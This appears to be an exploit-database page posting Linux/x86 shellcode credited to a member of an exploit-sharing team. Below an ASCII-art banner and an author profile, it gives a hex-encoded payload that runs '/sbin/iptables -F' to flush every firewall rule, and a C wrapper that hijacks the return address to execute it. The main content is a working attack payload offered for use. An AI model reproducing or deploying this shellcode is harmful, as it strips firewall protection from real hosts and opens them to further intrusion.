linux/x86 - Flush iptables /sbin/iptables



EKU-ID: 2736 CVE: OSVDB-ID:
Author: Taurus Omar Published: 2012-10-23 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/* 
*
* 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
* 0      _                   __           __       __                      1
* 1    /' \            __  /'__`\        /\ \__  /'__`\                    0
* 0   /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___            1
* 1   \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\           0
* 0      \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/            1
* 1       \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\            0
* 0        \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/            1
* 1                   \ \____/ >> Exploit database separated by exploit    0
* 0                    \/___/          type (local, remote, DoS, etc.)     1
* 1                                                                        1
* 0   [x] Official Website: http://www.1337day.com                         0
* 1   [x] Support E-mail  : mr.inj3ct0r[at]gmail[dot]com                   1
* 0                                                                        0
* 1               ==========================================               1
* 0               I'm Taurus Omar Member From Inj3ct0r TEAM                1
* 1               ==========================================               0
* 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1
* |                                                                        |
* |            Linux/x86 - Flush-iptables /sbin/iptables                   |    
* --------------------------------------------------------------------------
*
* +----------------| ABOUT ME |--------------------+
* NAME:     TAURUS OMAR                            -
* LINE:     INDEPENDENT SECURITY RESEARCHER        -
* HOME:     ACCESOILEGAL.BLOGSPOT.COM              -
* Fcbook:   facebook.com/OMARTAURUS                -
* TWITTER:  @taurusomar_                           -
* E-MAIL:   omar-taurus[at]dragonsecurity[dot]org  -
* E-MAIL:   omar-taurus[at]live[dot]com            -
* PWNED:    #ZUUU                                  -
* +------------------------------------------------+
* 
* Exploit Title: Linux/x86 - Flush-iptables /sbin/iptables 
* Category: Shellcode
*/

char shellcode[]=
        "\xeb\x21\x5e\x31\xc0\x88\x46\x0e\x88\x46\x11\x89\x76\x12\x8d"
        "\x5e\x0f\x89\x5e\x16\x89\x46\x1a\xb0\x0b\x89\xf3\x8d\x4e\x12"
        "\x8d\x56\x1a\xcd\x80\xe8\xda\xff\xff\xff\x2f\x73\x62\x69\x6e"
        "\x2f\x69\x70\x74\x61\x62\x6c\x65\x73\x38\x2d\x46\x32\x33\x34"
        "\x35\x36\x37\x38\x39\x61\x62\x63\x64\x65";


int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}